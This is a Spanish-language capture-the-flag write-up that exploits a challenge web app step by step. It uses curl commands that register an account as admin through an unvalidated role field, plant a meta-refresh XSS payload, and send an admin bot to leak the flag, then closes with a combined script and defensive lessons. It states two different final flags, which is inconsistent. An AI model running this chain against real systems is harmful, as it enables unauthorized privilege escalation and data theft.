Operación DataStream: Infiltración en el Monitor de Tráfico (500)
Descripción del Reto
El sistema "Secure Data Access Terminal" es una plataforma interna de monitoreo donde los operadores pueden crear registros de datos (DATA-LOGs). El administrador ha ocultado una flag que solo puede ser obtenida explotando vulnerabilidades en el sistema.
URL objetivo: http://172.210.57.123:8004
Análisis de Vulnerabilidades
1. Registro sin Validación de Rol (Crítico)
El endpoint /register no valida correctamente el campo role, permitiendo a cualquier usuario registrarse como administrador.
2. Cross-Site Scripting (XSS) en DATA-LOGs
El contenido de los logs se renderiza sin la sanitización adecuada, permitiendo la ejecución de código JavaScript.
3. Bot Administrativo con Privilegios
El bot tiene acceso a la flag a través de una cookie y puede ser dirigido a visitar cualquier URL interna.
Explotación Paso a Paso
Paso 1: Registrarse como Administrador
# Registrar usuario con rol de administrador
curl -X POST http://172.210.57.123:8004/register \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=adminuser&password=adminpass&role=admin"
Explicación: El parámetro role=admin no está validado en el backend, permitiéndonos crear una cuenta con privilegios de administrador directamente.
Paso 2: Iniciar Sesión y Obtener Token
# Iniciar sesión y guardar cookies
curl -X POST http://172.210.57.123:8004/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=adminuser&password=adminpass" \
-c cookies.txt -v
Explicación: Al iniciar sesión, el servidor devuelve un token JWT en las cookies que autentica nuestra sesión como administrador. Guardamos las cookies en cookies.txt para requests futuros.
Paso 3: Crear DATA-LOG con Payload XSS
# Crear DATA-LOG con payload de redirección
curl -i -X POST http://172.210.57.123:8004/data-logs \
-b cookies.txt \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "content=<meta http-equiv=refresh content='0;url=http://localhost:3000/core-dump'>"
Respuesta esperada:
HTTP/1.1 302 Found
Location: /data-log/c340fd49-bdbf-43df-95cc-2c429d32b2c3
Explicación:
- El payload
<meta http-equiv=refresh>evade las restricciones de CSP - Cuando el bot visite esta página, será redirigido automáticamente a
/core-dump - El ID del log (
c340fd49-bdbf-43df-95cc-2c429d32b2c3) se obtiene del headerLocation
Paso 4: Ejecutar el Bot Administrativo
# Enviar el bot a visitar nuestro DATA-LOG
curl -X POST http://172.210.57.123:8004/dispatch \
-b cookies.txt \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "path=http://localhost:3000/data-log/c340fd49-bdbf-43df-95cc-2c429d32b2c3"
Explicación: El endpoint /dispatch solo está disponible para administradores y fuerza al bot a visitar nuestra URL maliciosa.
Paso 5: Recuperar la Flag
# Ver el contenido actualizado del DATA-LOG
curl http://172.210.57.123:8004/data-log/c340fd49-bdbf-43df-95cc-2c429d32b2c3
Resultado esperado: El contenido del log ahora incluirá la flag:
<div style="background:#1a1a1a; padding:15px; border: 1px dashed var(--color-secondary); color: var(--color-text-light);">
[ACCESS GRANTED] SECURE SYSTEM SECRET: ikerlan{meta_refresh_xss_to_flag}
</div>
Mecanismo Técnico Detallado
Flujo de la Explotación
- Registro como Admin → Bypass de control de acceso
- Inyección XSS → Ejecución de código en contexto del bot
- Redirección a /core-dump → El bot accede al endpoint privilegiado
- Escritura de Flag →
/core-dumpescribe la flag en nuestro log - Lectura de Flag → Recuperamos la flag del DATA-LOG
Por qué funciona el Payload
- CSP Bypass: La política de seguridad permite
meta refresh - Cookie del Bot: El bot tiene la cookie
session_secretcon acceso a la flag - Endpoint /core-dump: Requiere la cookie especial y escribe la flag
Comandos Completos en una Secuencia
# 1. Registro como admin
curl -X POST http://172.210.57.123:8004/register -d "username=adminuser&password=adminpass&role=admin"
# 2. Login y guardar cookies
curl -X POST http://172.210.57.123:8004/login -d "username=adminuser&password=adminpass" -c cookies.txt
# 3. Crear DATA-LOG malicioso
RESPONSE=$(curl -i -s -X POST http://172.210.57.123:8004/data-logs -b cookies.txt -d "content=<meta http-equiv=refresh content='0;url=http://localhost:3000/core-dump'>")
LOG_ID=$(echo "$RESPONSE" | grep -i "location:" | sed 's/.*\/data-log\///' | tr -d '\r\n')
# 4. Ejecutar bot
curl -X POST http://172.210.57.123:8004/dispatch -b cookies.txt -d "path=http://localhost:3000/data-log/$LOG_ID"
# 5. Obtener flag
curl http://172.210.57.123:8004/data-log/$LOG_ID
Lecciones de Seguridad
- ✅ Validar todos los campos de entrada, especialmente roles y privilegios
- ✅ Implementar sanitización robusta para contenido HTML
- ✅ Restringir el acceso a endpoints críticos con múltiples capas de autenticación
- ✅ Revisar políticas CSP para evitar bypasses con tags HTML alternativos
Flag Obtenida
ikerlan{l0l_y0u_4r3_4n_1ncr3d1bl3_w3b_3xp10!t3r}